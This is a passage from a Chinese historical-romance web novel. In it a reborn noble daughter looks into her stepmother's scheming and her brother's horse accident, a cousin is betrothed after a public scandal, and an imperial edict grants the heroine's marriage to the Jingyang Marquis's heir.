映雪闻言，随即眉毛挑起，问道：“出了何事？”绿绮忍着笑意，轻声说道：“说是二姑娘被忠勇侯庶子当众给抱了？”映雪似是听错，追问道：“确定是忠勇侯庶子，不是忠勇侯世子？”绿绮点了点头，肯定道：“确定是忠勇侯庶子。”映雪心里暗衬，看来因她重生之故，许多事情也发生了变化。因上辈子苏映蓉算计忠勇侯世子之事令侯府蒙羞，这次映雪特地在荣晖堂提醒过苏映蓉几人，说因这次太子赴宴，康郡王府对本次宴会的安全十分重视，会对各府参加的宾客严查随身携带的香包之类，就怕在宴会上出了差错，示意苏映蓉收敛。却没想到苏映蓉还是能算计到人。
随后映雪对绿绮道：“走，我们去荣晖堂看看。”
刚行至荣晖堂门外，就听到里面传来凄凄惨惨的抽泣声。映雪快步踏入屋子，绕过屏风，就见苏映蓉一人跪在地上，苏秀蓉及苏沁雪站在一旁。老夫人神情严肃，双唇紧抿，目光如炬。大夫人则端坐在老夫人的下首，眉头紧锁，神情忧郁，似是在为苏映蓉担忧。映雪分别向大夫人及老夫人行了礼，就上前拉住了苏秀蓉的袖子，把她拉到了一旁，问道：“大姐姐，怎么回事？”
苏秀蓉眉头一皱，眼中满是愧疚之色，低声地道：“我也不是很清楚，宴席举行到一半，二妹妹就说要去更衣，我本想陪她同去，二妹妹却说四妹妹年纪小，她让丫鬟陪着就是，让我留下来陪四妹妹。”接着又道：“没过多久，就听到康郡王府的丫鬟前来禀告，说永安侯府的二姑娘被人给调戏了。我与四妹妹赶了过去，就见二妹妹依偎在丫鬟身上哭，身边还围着好几人。”说罢，自责地咬了咬嘴唇，“若我当时陪着二妹妹去就好了。”
映雪连忙安慰苏秀蓉，道：“大姐姐，这怎么能怪你，本就是意外。”心里却在想，她才不相信是什么意外，定是苏映蓉算计人的时候出了岔子。
接着就听到老夫人厉声道：“说吧？究竟怎么回事？怎么就单独遇上了忠勇侯公子，还被他给当众抱了？”
苏映蓉哭哭啼啼，眼中闪过一道恨意，抽抽噎噎地解释道：“祖母，这次真不怪我，我带着丫鬟，更衣出来，见院子里的梅花开得正盛，就想过去折几朵回来，给祖母插在瓶子里观赏，没注意到后面有人过来，被人给踩住了斗篷。”后面的话不说，众人也能猜到，定是被忠勇侯庶子给踩住了斗篷，随后苏映蓉摔倒，被忠勇侯的庶子给抱住了，还说了几句类似调戏的话。
当然苏映蓉没说的是，是她打听到忠勇侯世子正在梅院，特地去了梅园，让丫鬟把斗篷铺开，调整最好看的姿态来吸引忠勇侯世子的注意。不曾想，引来的却是忠勇侯庶子，苏映蓉这会儿也是气得想要吐血。
老夫人见苏映蓉也是一片孝心，神色稍缓，却也无奈地叹气道：“这也是你们之间的缘分，这几日你就不要出府了，安心在府里等媒人上门。”
苏映蓉瞬间哭喊道：“祖母，我不要嫁他，我宁愿出家做姑子。”
老夫人闻言，瞬间气得脸色发红，大声斥责道：“胡闹，你被他当众给抱了，还想嫁谁？忠勇侯府的公子是缺胳膊了还是缺腿了，宁肯做姑子？”
大夫人也在一旁劝道：“忠勇侯府与永安侯府门当户对，这次他们理亏，聘礼定会丰厚两成，也会事事以你为先，不会令你委屈。”
苏映蓉这会儿还沉浸在在悲痛中，完全听不进劝告，听大夫人所言，反而更为气恼，随即脱口而出道：“什么门当户对，母亲只想着侯府的面子和利益，哪还管我一个庶女的死活。”
大夫人被苏映蓉当面顶撞，也是气得脸色铁青，捂着心口，浑身颤抖，冷声道：“好一个不管你死活，云栖庵的尼姑想来也不多你一个，你若想去，我自是成全你。”
苏映蓉闻言，这才意识到自己的冲动，瞬间后悔不已。老夫人则摆手，示意婆子把苏映蓉送回了汀兰院。
待大夫人带着苏沁雪从荣晖堂离开，映雪与苏秀蓉赶忙上前，温言软语地安慰了老夫人几句。老夫人望着身边这两位贴心乖巧的孙女，原本沉郁的心情总算好转不少。
映雪离开荣晖堂后，即刻让绿绮去清风院打听情况，得知苏璟皓的朋友已经离开侯府，便步履匆匆地赶去了清风院。
苏璟皓脸上擦了药，青一块紫一块的，显得有些狼狈。见映雪进来，他咧开嘴笑了笑，露出一口洁白整齐的牙齿，说道：“妹妹过来啦？今日的宴会可有趣？”
映雪在椅子上缓缓坐了下来，秀眉紧蹙，满是担忧地问道：“大哥，你们不是要去康郡王府赴宴吗？怎会弄成这副模样，还受了伤？”
苏璟皓闻言，脸上立刻浮现出愧疚之色，垂眸低声道：“逸风兄这次可是受我牵连了。”映雪一听，身子瞬间挺直，急切问道：“到底怎么回事？”
接着就见苏璟皓挠了挠头，满脸无奈地解释起来：“我们三人从书院出来，准备骑马赶往康郡王府。我骑在前面，催促他俩快些，逸风兄却笑着说，我的追风是匹良驹，他们比不过，非要与我换马比试。随后我们三人就开始赛马，刚骑上没一会儿，追风突然发狂，把逸风兄狠狠摔了下来，马蹄还踢到了逸风兄的手臂，差点就要往他胸口踩去。我和宇轩兄吓得魂飞魄散，连忙飞身过去，一同把逸风兄给拽了起来。”
映雪听了，脸色瞬间变得煞白，身子不由自主地颤抖起来。上辈子大哥出事是在她及笄后，同样是追风发了狂，马蹄踩中大哥胸口，大哥回府后没多久便重伤身亡。父亲调查许久都毫无结果。这辈子竟提前了这么久，映雪只要一想到大哥差点遭遇不测
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，心就像被狠狠揪住一般疼痛，胸口也憋闷得几乎喘不过气。
苏璟皓见妹妹神色惊惧，以为她被吓到了，赶忙柔声安慰道：“大哥这不是好好的嘛，妹妹莫要担心。”映雪猛地抬起头，目光灼灼地紧盯着苏景皓，急切问道：“大哥可是在书院得罪了什么人？被人暗中陷害？不然追风怎会无缘无故发狂？”苏璟皓闻言，不禁爽朗一笑，摆了摆手说道：“大哥的为人，妹妹还不清楚吗？我在书院怎会与人结怨。”映雪仔细一想，确实如此，大哥品性纯良正直，光明磊落，在书院人缘向来极好。
但映雪始终觉得这件事情透着蹊跷，又问道：“那追风现在何处？”苏璟皓神色有些郁闷，眉头紧紧皱起，说道：“追风没带回来，当时我俩只顾着担心逸风兄的伤势，顾不上追风，就带着逸风兄回了侯府。”
映雪一时沉默不语，沉思片刻后，只得叮嘱道：“大哥，你若是想起什么异常之处，一定要告知于我，我还有事，就先回去了。”说完，便缓缓起身准备离开。
苏璟皓连忙应道：“知道了，大哥若是想起有何不妥，定会告诉你。”
映雪轻轻点了点头，转身离去。
忽然，苏璟皓似是想起什么，望着映雪的背影，嘴巴动了动，最终还是咽了回去。
映雪刚回到映月阁，还未来得及坐下来喘口气，竹清就急匆匆地进来禀告道：“姑娘，世子让您去云间雅阁一趟，说是与大少爷有关。”映雪一听，心头一紧，神色瞬间变得凝重起来。她来不及更换衣裳，连忙交待了竹韵几句，便带着绿绮和竹清匆匆坐上了马车。
马车在庆阳街街口“吁——”的一声停了下来，映雪三人迫不及待地直奔云间雅阁。映雪刚一踏入雅阁，一眼便瞧见了许牧舟那颀长的身影。她连脚步都未停歇，还来不及坐下来，就神色焦灼地忙问道：“你知道我大哥是被何人害了？”
许牧舟闻言，眼中满是疑惑，不解地问道：“你在宴会上提前离去，就是因为你大哥出事了？”映雪眉头紧蹙，焦急道：“不是你喊我过来，说与我大哥的事有关吗？”
许牧舟无奈地忍不住抚额，看着心急如焚的映雪，声音不自觉地放柔了许多，轻声说道：“你先坐下来。”说罢，他伸出修长的手，亲手替映雪倒了一杯热气腾腾的茶，轻轻放到映雪的手中。
映雪手心一暖，定了定神，便把苏璟皓几人骑马出事的事情向许牧舟细细说了一遍。
许牧舟闻言，眉头也紧紧地蹙了起来。随后，目光深邃地问道：“你知不知道，你大哥最近也在调查你那继母的事情？”
映雪以为自己听错了，惊得手一抖，手中的茶杯“哐当”一声滑落了下去。滚烫的茶水溅到手背，却浑然未觉，难以置信地顿时问道：“你说什么？”
54. 忠勇侯夫人
许牧舟没有说话，瞬间如一阵疾风般起身，猛地把映雪拉到怀里。随后紧紧拉起映雪的手，眼神专注而急切，细细地查看起来。只见映雪那白皙的手背上，有几处被烫红的痕迹，许牧舟的眉头皱得更紧了，眼中满是心疼。他温柔地呼着气，轻轻地吹了起来，那温热的气息拂过映雪的手背，也令映雪心中泛起一道痒意。
映雪瞬间尴尬得满脸通红，想要从许牧舟的怀里挣脱起身，许牧舟却紧紧搂着不让，面色阴沉得仿佛能滴出水来，沉声道：“你的手不要了？”
映雪撇了撇嘴，小嘴嘟囔着：“说的好像吹两下就能好一样。”许牧舟简直要被她这副模样气笑了，威胁道：“你还想不想知道你大哥的事了？”映雪一听，脖子缩了缩，乖乖地不再挣扎，许牧舟见状，心里不禁一乐，嘴角微微上扬。
随后，许牧舟就向映雪说起他调查大夫人施救荣太妃之事。映雪闻言，惊得霍然起身，说道：“你的意思是说荣太妃去云栖庵本就带着要被大夫人施救的目的去的？”许牧舟郑重地点头，“不错，你可以这样认为。”映雪皱眉，满心疑惑道：“可我并没有听说过，大夫人与荣太妃之间有何关联。”许牧舟想到苏璟皓也正在调查这事，便道：“你大哥或许知道的更多。”接着又道：“你大哥这次的事或许与他调查的事有关，你回去让他停手，我让人调查。”映雪突然想到前几日大哥突然问起大夫人祈福之事，心想难怪她当时就觉得奇怪。
景阳侯府有的是训练有素的暗卫，调查起来想必更为得心应手，映雪便同意下来。
映雪又问起许牧舟宴会之事，满心怀疑道：“在康郡王府，抽中与我同台表演的人真的是你？我怎么之前没见着你？”许牧舟不由得有些气闷，脸色微沉道：“怎么？你还想与别的男人同台？”映雪瞪了一眼许牧舟，娇嗔道：“你明知我是什么意思。”许牧舟轻霸道地道：“与你同台的人只可能是我。”映雪闻言，双颊绯红，犹如天边的晚霞，又问道：“那我们的画呢？”许牧舟不以为然地挑了挑眉，道：“自然被我拿回了景阳侯府，以后可是要当宝贝传承的。”映雪没那脸皮与他争论，只得无奈地撇撇嘴，便随了他去。
随后映雪就上了侯府马车，准备回府。马车内，绿绮坐在一旁，神色纠结，欲言又止。映雪一眼就猜到绿绮在想什么，她这次特地带绿绮出来，本就没准备瞒她，便朝绿绮浅笑道：“你想说什么就说吧，我看着你憋着的样子都难受。”
绿绮咬了咬嘴唇，心一横，鼓起勇气问道：“姑娘，你何时与景阳侯世子关系这样亲近了？”
映雪俏皮一笑，眼中闪烁着灵动的光芒，道：“他以后就是你家姑爷。”
绿绮闻言，惊得瞪大眼睛，有些被吓着，焦急道：“姑娘！”
映雪浅浅一笑，如春风拂面，轻声安慰道：“放心，我爹知道。”
绿绮这才长舒一口气，放心下来，她刚才生怕映雪与人私相授受。等冷静下来，绿绮的眉头又微微皱起，顿时觉得竹清可疑起来，朝竹清看去，竹清一脸平静。
映雪回了侯府，便差了丫鬟去清风院通知，让苏璟皓晚上陪她用膳。两人聊起白日的冬日宴的趣事，也有几分放松。待用完晚膳，丫鬟把桌面清理干净，又端了茶水上来。映雪见丫鬟们都出去了，吩咐竹清道：“你去屋外守着，没我的吩咐，任何人都不得进来。”语气严肃。竹清点头应是，转身出去，屋内气氛瞬间变得凝重起来。
苏璟皓不由地也有些紧张，故作轻松，勉强笑道：“妹妹，你有什么事要说给大哥听，竟这么神秘？”
映雪朝苏璟皓望去，目光如炬，随即紧紧盯着苏璟皓的眼睛，郑重地问道：“大哥，你是不是私底下在查大夫人？”
苏璟皓闻言，脸色骤变，犹如晴空霹雳，反问道：“你怎么知道？”
映雪见状，沉默了一会儿，神色凝重，道：“你是不是有事瞒着我？”
苏璟皓见映雪现已知晓，沉默了片刻，像是下定了某种决心，便把他猎白狐那日，意外撞见大夫人，且有一位中年男子跟在其后的事，一五一十地告诉了映雪。映雪闻言，瞬间气得睚眦欲裂，眼中似要喷出火来。难怪上辈子大哥会突然意外，也定是被大哥无意中撞见他们见不得人的勾当。又想到父亲死后，大夫人的行为可疑，说不定也是他们所为。想到这些，映雪恨得咬牙切齿，身子微微颤抖，恨不得现在就找人，把大夫人给千刀万剐了。
一旦有了这个想法后，映雪的左胸口就传来一阵灼烧感，似乎要把映雪给烫伤，映雪深呼了口气，随即冷静下来。对苏璟皓说道，“大哥，这件事情你不要再查了下去了。”苏璟皓不明白，追问道，“为何？”映雪沉声道，“若是我告诉大哥，这次追风发狂的事就是因你调查所导致呢？”苏璟皓闻言，怔了一怔，随后坚定道，“既然是这样，那我更应该继续追查。”映雪眉心紧蹙，摇摇头道，“大哥，既然我让你停止，自然有我一番道理。”紧接着又道，“你放心，会有人帮我们查。”苏璟皓想到映雪知道他在调查大夫人之事，便问道，“是不是告诉你消息的那个人？”映雪点头，随后又说道，“具体细节我以后再告诉大哥，总之大哥放心，他自是可信。”苏璟皓闻言，沉默下来，想到妹妹这几个月的变化，便只好同意下来。
天越来越寒冷，映雪起床也愈发困难起来，竹韵连催了几次，才把映雪给弄起来，待梳妆打扮好后，匆匆用了早膳，孙嬷嬷给映雪准备了手炉，映雪才前往荣晖堂请安，
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自从秘方之事后，映雪就没再去过如意院了，现在知道大夫人可能对父亲不忠，更是不可能会去。
映雪因贪睡起晚了些，当她匆匆赶到荣晖堂时，苏秀蓉和苏沁雪早已请完安离开了。请安后，正欲离开，却瞧见大夫人领着一位贵气逼人的夫人缓缓走来。
只见这位夫人身着一袭绣着精美梅花图案的青色锦缎裙袄，外面披着一件洁白如雪的狐皮斗篷，头上宝髻金钗，璀璨夺目。再瞧她那面容，珠圆玉润，一脸温和，正是忠勇侯夫人，亦是苏映蓉前世的婆婆。
当然，这温和只是表面，前世听苏映蓉抱怨，她这位婆婆待她极为苛刻，纵容忠勇侯世子的妾室打她脸面。
大夫人与忠勇侯夫人一路上有说有笑，待瞧见映雪，忠勇侯夫人瞬间眼神一亮，问道，“这是贵府里的哪位姑娘？我今日可是见识到真正的仙女了。”
映雪闻言，一脸羞意，忙向忠勇侯夫人行礼，接着就听到大夫人温和笑道，“她就是皇上亲封的慧敏郡主，府里的三姑娘。”
忠勇侯立即夸赞道，“难怪气度非凡，贵府真是好福气。”大夫人谦虚了几句，催促道，“老太太还在等着呢，我们就先过去吧。”忠勇侯夫人向映雪含笑点头，接着就向屋内走去。
映雪见状，立马拐道，朝荣晖堂的暖阁躲了进去。被秦嬷嬷瞧见，映雪还朝秦嬷嬷做了个禁声的动作。
秦嬷嬷无奈一笑。
紧接着就听到忠勇侯夫人的歉意声传来，“老太太，我今日来您赔不是了，是我没教好府里的少爷，唐突了贵府的姑娘。”
伸手不打笑脸人，老夫人性子温和，一向对人宽容，既然事情已经发生，再恼怒也与事无补，便笑着道，“孩子大了，就有了自己的想法，我们为人父母，有时也倍感无奈。”
忠勇侯夫人连连点头，又说起庶长子赵岳之事，“昨日的事是他错的厉害，回府后侯爷就重罚了他，挨了板子，罚跪了一夜的祠堂，今日才从祠堂出来，就拖着虚弱的身子来向我和侯爷认错，不该一见了仙女似的姑娘，就失了神，冒犯了贵府姑娘。”
老夫人闻言，见忠勇侯规矩严格，那位公子又诚心认错，微微有些动容。
便道，“贵府公子言行轻佻了些，若是以后再见着貌美的姑娘，又冒犯了人家，想来对方未必会轻轻放下。”
忠勇侯夫人见老夫人脸上有犹豫之态，便急道，“岳哥儿是个好孩子，平日里稳重宽厚，一向得侯爷夸赞，又洁身好，虽有两个通房，却连妾室都没一个，定不是那纨绔之辈。”
接着又道，“我也知贵府姑娘个个才貌俱佳，是京城各府联姻的热门对象，也是我府高攀了，侯爷在我来贵府之前，特地叮嘱，务必要让您消气。”
55. 礼物
老夫人轻轻揉了揉太阳穴，缓声说道：“气倒谈不上，倘若贵府公子平日里果真稳重守礼，这门亲事，我自然不会有异议。”
忠勇侯夫人见老夫人态度有所松动，眉头一挑，笑着说道：“我怎敢哄骗老太太您，要不先把亲事订下，如果他让贵府感到不满，贵府若有意见，忠勇侯府甘愿认罚。”老夫人听闻此言，沉默了片刻，朝着大夫人问道：“你可有要补充的？”大夫人摇摇头，恭敬回道：“媳妇都听您的。”
老夫人点头，随即做主应下了这门亲事。忠勇侯夫人见此情形，顿时眉开眼笑，从丫鬟手中接过一个匣子，里面装着一支水头极佳的发簪。老夫人则让秦嬷嬷从内室拿出一块玉佩，放在了忠勇侯夫人手上。
忠勇侯夫人接过玉佩，心中顿时一松，朝着老夫人说了几句讨人欢喜的话。接着，大夫人便送她出了门。映雪见她们走出院子，这才从暖阁走了出来。
老夫人数落了映雪几句，嗔怪她胡闹。映雪调皮地向老夫人吐了吐舌头，担忧道：“祖母，二姐姐怕是不愿意嫁，要是她闹事可如何是好？”
老夫人闻言，沉声道：“看来祖母近日对你们太过宽容，个个都不将侯府的规矩放在眼中。”
映雪也有些心虚，赶忙向老夫人行礼，随后便跑远了。老夫人瞧着，一脸的无奈。
待映雪回到映月阁，还未来得及喝口热茶，便听到苏映蓉把汀兰院的东西给砸了的消息。
映雪撇撇嘴，心中暗想，祖母刚才说的没错。祖母就是对她们几个太过纵容了，以至于苏映蓉一个庶女，竟轻狂得看不上与她门当户对的侯府庶长子。
那日映雪与大哥苏璟皓因大夫人之事达成了共识，苏璟皓秉持着眼不见心不烦的态度，当天就回了凌云书院。这日，他还是收到了映雪送去的消息，说苏二老爷一家今日到府，晚上替二叔一家接风洗尘，这才回了府。
午膳后，映雪和苏璟皓、苏秀蓉都留在了荣晖堂陪伴老夫人，把老夫人哄得脸上的褶子都笑开了花。映雪想到等二叔一家回了京，二哥苏璟睿也要在京城读书，便向大哥苏璟皓问道：“大哥，我之前让你打听的凌云书院招收学子的事情如何了？”
苏璟皓闻言，面露几分为难之色，说道：“大哥打听过了，凌云书院的入学考核极为严格。二弟若学识扎实，倒可以去试一试。”映雪似是不肯放弃，追问道：“难道除了入学考核就没别的办法了？”苏璟皓挠了挠头道：“也有，除非二弟能被书院的夫子看中，收为弟子。”
一旁的苏秀蓉闻言，脸上满是感动与懊恼之色，对映雪说道：“亏我还是他的亲姐姐，竟还没你对他这般上心。”
映雪连声安慰道：“大姐姐既要绣嫁衣，又要帮忙管理侯府，哪有我这般清闲。”接着又打趣道：“别以为我猜不到，大姐姐定把近日研制出来的牛乳点心都备好了，就等二哥他们回来享用。”苏秀蓉用手指点了点映雪的额头道：“你个鬼灵精，什么都瞒不过你。”
老夫人见两个孙女这般要好，映雪和璟皓都在替璟睿打听学府的事，心中如一片柔水般绵软，柔声道：“凌云书院不比普通学府，勋贵公卿也只有一府一个名额。若是睿哥儿考核不过，就上国子监也无妨。”
映雪没有说话，心想也只好走一步看一步了。
不一会儿，就见一丫鬟打着帘子，急匆匆进来向老夫人禀告道：“老夫人，二老爷已经进府了，正朝这儿走来。”
老夫人闻言，激动不已，身子跟着晃动了几下，随后又定了下来。映雪三人则按捺不住，朝屋外跑去。紧接着，就见一位三十五岁的中年男子，身着一件厚实的深灰色锦缎长袍，外罩着一件玄色的貂皮披风，腰间束着一条深色的织锦腰带，缓步行来。他面容清俊，目光温和，嘴角噙着一抹淡淡的笑意，此人正是苏府二老爷，永安侯的亲弟弟苏琛。
在他身旁，苏二夫人身着一件绛红色的织锦棉裙，外披一件雪白的狐皮斗篷，发髻间插着几支金簪，面容娇美，眼神中透着几分利落。
而跟在他们身后的二少爷，约摸十四五岁的年纪，生得剑眉星目，身姿挺拔。他身穿一件深蓝色的厚棉袍，脸上洋溢着兴奋的神情。
三人上前行礼，苏二老爷对映雪和苏秀蓉温和一笑，轻轻拍了几下苏璟皓的肩膀，笑道：“不错，身子比二叔结实。”
苏二夫人瞧见苏秀蓉，顿时眼眶微红，一把抱住了苏秀蓉，苏秀蓉的脸微微一红。苏璟睿见状，苦笑道：“我就知道回了京城我便失了宠。”映雪噗嗤一笑，打趣道：“二哥，你都这么大了，还吃大姐姐的醋呢！”二夫人闻言，又把映雪搂进了怀里，笑道：“以后府里我只疼你大姐姐和你四妹妹，你找老太太疼你去。”
说罢，就见秦嬷嬷站在门口相迎，秦嬷嬷朝二老爷和二夫人笑着行礼，道：“先进屋吧，老夫人等着呢。”
踏入屋内，苏二老爷抬眸瞧见坐在上首的母亲，比两年前更显老态。那脸上的皱纹如蛛网般密布，眼神中满是疲惫。心头顿时涌起一阵酸楚，眼眶瞬间泛红。双腿一弯，“噗通”一声直直地朝老夫人跪了下去，膝盖与地面撞击发出沉闷的声响。
二夫人与苏璟睿也不敢有丝毫迟疑，紧跟其后，整齐地跪在二老爷身后。
苏二老爷朝着老夫人重重磕头，声音颤抖着，带着哭腔说
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道：“母亲，儿子不孝，这两年没在您身边尽孝，还让您担忧。”言语间满愧疚与自责。
老夫人闻言，眼眶也顿时红了起来。连忙朝秦嬷嬷使了个眼色，秦嬷嬷赶忙上前，伸出双手，费力地把三人扶了起来。老夫人随即关切地问起一路上的状况：“这一路可还顺遂？有没有遇到什么难处？”又询问众人的身体：“你们身子可都安好？”待聊了好一会儿，才向二老爷一行人道：“你们先回西苑休整一下，舟车劳顿的，好好歇息歇息。晚上府里替你们接风洗尘。”
映雪也回了映月阁，思绪不由自主地飘回了上辈子。苏秀蓉意外之后，父亲为了能把二叔一家调回京城，到处找关系，费尽了心思。好不容易盼来了机会，然而二夫人却因苏秀蓉之事对老夫人心怀怨恨，坚决拒绝回京。直至苏璟皓出事，二叔这才主动写信给父亲，表示想要回京。父亲为此找了各种关系，使尽了浑身解数，可最终都被驳了回去。
想起那个时候父亲满脸的沧桑，身躯仿佛被重担压弯，映雪的心就像被无数把利刃狠狠地刺着，难受至极。她对大夫人更是恨之入骨，心里清楚得很，二叔回京被阻挠的事，不用想都知道是她在从中作梗。要是二叔当时在京城，后面父亲出事，侯府的爵位必然会由二叔继承，又怎会落在还不到十岁的苏敏皓头上。
好在这辈子她有机会重来，她定会承侯府之志，陪着大哥一起，把侯府发扬光大。至于大夫人之事，许牧舟想来不会让她失望。
差不多到了晚宴时间，映雪才匆匆赶往荣晖堂。大夫人带着苏沁雪和苏敏皓已然在内，只见大夫人正襟危坐，苏沁雪一脸骄矜，苏敏皓则显得有些局促。
紧接着，就见二老爷、二夫人一行人换了衣裳，神采奕奕地踏入屋内。身后还跟着两个随从，抬着一个大箱子，看起来颇为沉重。
二夫人给众人分发礼物，当然，映雪的礼物又最为丰厚和贵重。许是苏秀蓉给二夫人说了映雪在孙府救她，及他们调职回京的事，二夫人对映雪满心眼的疼爱。只见她拉着映雪的手，笑意盈盈地说道：“映雪丫头，快来瞧瞧，这都是二婶专门给你准备的。”
说罢，她从身旁的丫鬟手中接过一个精美的檀木匣子，轻轻打开，里面是一整套精致的首饰。一条珍珠宝石镶嵌的项链，颗颗珍珠圆润饱满，宝石闪耀着迷人的光芒，璀璨夺目；一对累丝嵌宝石的金手镯，宝石璀璨夺目，手镯工艺精湛绝伦；还有一对点翠嵌珠的步摇，翠羽鲜艳，珍珠圆润。
匣子打开的瞬间，珠光宝气四溢，令屋内仿佛都亮堂了几分。苏沁雪瞧见，气得双眼圆瞪，咬着牙，恨不得把自己手中的帕子给撕成碎片。
56. 赐婚
映雪连忙推拒，道：“二婶婶，这太贵重了，映雪不能要，您留给大姐姐当嫁妆吧。”二夫人闻言，柳眉一蹙，假装生气道：“你这丫头，你大姐姐自然也有，怎么？是不是把二婶当外人，不肯收二婶的礼物？”映雪面露为难之色，苏秀蓉接过匣子，把它直接交到竹韵手上，对映雪嗔道：“父亲回京若是找人打点，何止才花这点东西，要不是你找豫亲王府的关系，父亲他们也没这么快回京。母亲还说过两日要带我俩一起去文澜阁买头饰呢，这些又算什么，你只管收下。”
说罢，映雪只好收下，连忙向二夫人道谢。待礼物分完，还剩下一份，二夫人在人群中打量一番，好奇道：“二姑娘怎么不在？”
众人沉默了片刻，苏秀蓉略为尴尬地抿了抿唇，解释道：“母亲，二妹妹刚订了亲，许是害羞，便没来。”二夫人闻言，嘴角上扬，笑道：“这是喜事，有何害羞。”不过毕竟隔了一房，二夫人也只是略感好奇地问了句：“是哪个府邸？”在得知答案后，说了一句“门当户对”，便也没再多问。随后，她把礼物拿起，交到身后一丫鬟手中，神色温和地吩咐道：“你把礼物送去汀兰院给二姑娘。”丫鬟点头，便退出了屋子。
苏敏皓许是久坐的缘故，眼见晚膳迟迟未上，顿时失了耐心，扯开嗓子哇哇大哭起来，嚷道：“我不要等父亲了，我现在就要吃饭！”边哭边胡乱踢蹬起来。
映雪见此情形，脸色瞬间阴沉下来，转头便瞧见大夫人在轻声哄着他，老夫人也吩咐秦嬷嬷，让苏敏皓先用餐。映雪仔细端详着苏敏皓的面庞，竟觉其没有丝毫与父亲相似之处，心中越发认定他并非父亲的亲生子，一股怒气直冲脑门，道：“谦哥儿三岁时都比你懂事得多，你都六岁了，平日所学的礼仪都丢到哪里去了？父亲向来疼你，偏就你这般等不得，等父亲回来，看他如何罚你！”话音刚落，门口传来一道爽朗的笑声，问道：“是谁要被罚了？”紧接着，永安侯大步迈进屋内，手中还提着一壶酒。
映雪见父亲来了，赶忙迎上去，说道：“爹爹，敏哥儿都六岁了，却还是这般不懂事，爹爹，您必须好好教导他一番。咱们侯府绝不能养出二世祖来。”
苏沁雪闻言，当即反唇相讥：“三姐姐，敏哥儿不过才六岁，就算他稍欠懂事，你又何必把他说成二世祖呢？我明白，如今你是皇上亲封的郡主，自是风光无两，但你也不能如此目中无人吧。”
老夫人对映雪方才针对苏敏皓的言行也颇感诧异，见两姐妹即将起争执，只得出来打圆场：“好了，映雪也是心疼她父亲在外奔波劳累，期望大家都能如她一般关怀父亲。只是敏哥儿年仅六岁，日后好好教导，定然能够懂事明理。今日乃是为你们二叔一家接风洗尘，谁若再闹，就自行回院子去。”这最后一句话带着几分严肃。
映雪和苏沁雪皆默不作声，苏敏皓也知晓是自己惹出了麻烦，察觉到气氛不对，更是不敢哭出声来。
永安侯瞧瞧映雪，又望了望苏沁雪，笑着说道：“好了，都怪爹爹买酒耽搁久了，让你们久等。”言罢，拍了拍二老爷的肩膀，道：“走，今晚咱们不醉不休。”
老夫人闻言，不由得朝永安侯狠狠一瞪，轻斥道：“还不醉不休，你明日难道不打算早朝了？”永安侯呵呵一笑。
一顿晚宴，极大地拉近了二老爷近几年在外而对侯府产生的疏离感。
直到第二日早上，二夫人来到荣晖堂向老夫人请安，仍在讲述二老爷昨晚喝多了，回西苑时的那些囧事，直令映雪开怀大笑。紧接着，就见大夫人带着苏沁雪前来请安，两人皆是盛装打扮。老夫人见状皱眉，问大夫人道：“你这是要带沁雪一同进宫？”大夫人点头，笑道：“上次去荣太妃宫里谢恩，太妃听闻了沁雪在冬日宴上的表现，对沁雪心生好感，故而让我下次去宫里时也带上沁雪一同前往。”
老夫人点头，随后大夫人便携着苏沁雪离开了。二夫人满是感慨地说道：“未曾想我们不过两年未回府，府里竟有如此大的变化。尤其是映雪，既能制香又会制药，还因瘟疫救治有功，被皇上亲封为郡主。我和老爷在离任之前，那些同僚得知映雪是老爷的亲侄女，那巴结的劲头，简直无法形容，就连我都沾了不少光呢。”映雪在一旁听着，满脸通红，赶忙拉着苏秀蓉跑开了。二夫人瞧见两人离去的背影，又问道：“映雪的亲事可有在相看了？”
提到映雪的婚事，老夫人的眉眼间尽是满意，点头微笑道：“映雪的婚事私下已经定下来了，只是尚未公开，是景阳侯世子，由她父亲替她订下的。”
二夫人闻言，惊喜不已道：“这可真是一门极好的亲事啊！景阳侯府不仅权势赫赫，而且人口简单，景阳侯夫人又是个护短疼人的，想来映雪嫁过去，必定能够过得顺心如意，咱们侯府也能跟着沾光。”
老夫人担心二夫人心中吃味，转而提及苏秀蓉的未来夫君，含笑道：“秀蓉的未来夫君亦是不错，听闻其才华出众，明年会考极有可能中举。且萧府又有四十无子方能纳妾的家规，待秀蓉嫁过去，日子定然也会过得舒坦。”
二夫人闻言，噗嗤一笑，“老太太这是怕我吃味不成？那可是占据文人半壁江山的萧府，当时在任上收到这消息，我都惊喜得难以置信呢。秀蓉有这等好福气，全赖有您这么一位疼她的祖母。”
老夫人见二夫人确是真心欢喜，心中也深感欣慰。
二夫人见老夫人略有疲倦，正要起身告退，就听到门口传来匆匆
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的脚步声，随即一丫鬟从屏风处疾步绕了过来，神色焦急地向老夫人禀告道：“老夫人，宫里有圣旨到，李总管让奴婢来通知，让府里主子们过去前厅准备接旨。”老夫人闻言，立刻起身，急匆匆地带着众人往前厅赶去。
到了前厅，见到的正是之前永安侯升职以及映雪被封为郡主过来传旨的公公。王公公见到老夫人，放下手中茶杯，起身对着老夫人微微屈身，含笑道：“既然府里都已到齐，那咱家这就宣旨了。”
王公公尖着嗓子喊道：“侯府众人接旨！”
老夫人赶忙带着映雪及府中众人跪下，齐声高呼：“吾皇万岁万岁万万岁！”
传旨公公展开圣旨，高声宣读起来。
奉天承运，皇帝诏曰：
永安侯府之女慧敏郡主，贤良淑德，才情出众，温婉端庄，且心怀仁爱，于瘟疫之时救治百姓，功绩卓著。
景阳侯之子许牧舟，才高八斗，品行高洁，智勇双全，乃国之良才。两人乃天作之合。
今朕作主，将慧敏郡主许配于景阳侯世子许牧舟，择婚之日由二府共同商讨。望二人婚后琴瑟和鸣，相濡以沫，共筑美满姻缘，为世人之楷模。赐玉如意一对。
钦此
老夫人闻言，不由大喜过望，映雪亦是满脸羞意，她此前都不曾听许牧舟提起过此事。
王公公读完圣旨，说道：“慧敏郡主接旨谢恩吧！”
映雪随即恭敬叩头谢恩：“谢主隆恩！”
传旨公公收起圣旨，笑着对映雪说道：“恭喜慧敏郡主！恭喜侯府！”
映雪落落大方一笑，“公公辛苦了。”
老夫人赶忙招呼王公公喝茶，王公公含笑摇头，道：“咱家还要去景阳侯府宣旨。”
老夫人忙让下人把荷包递上。
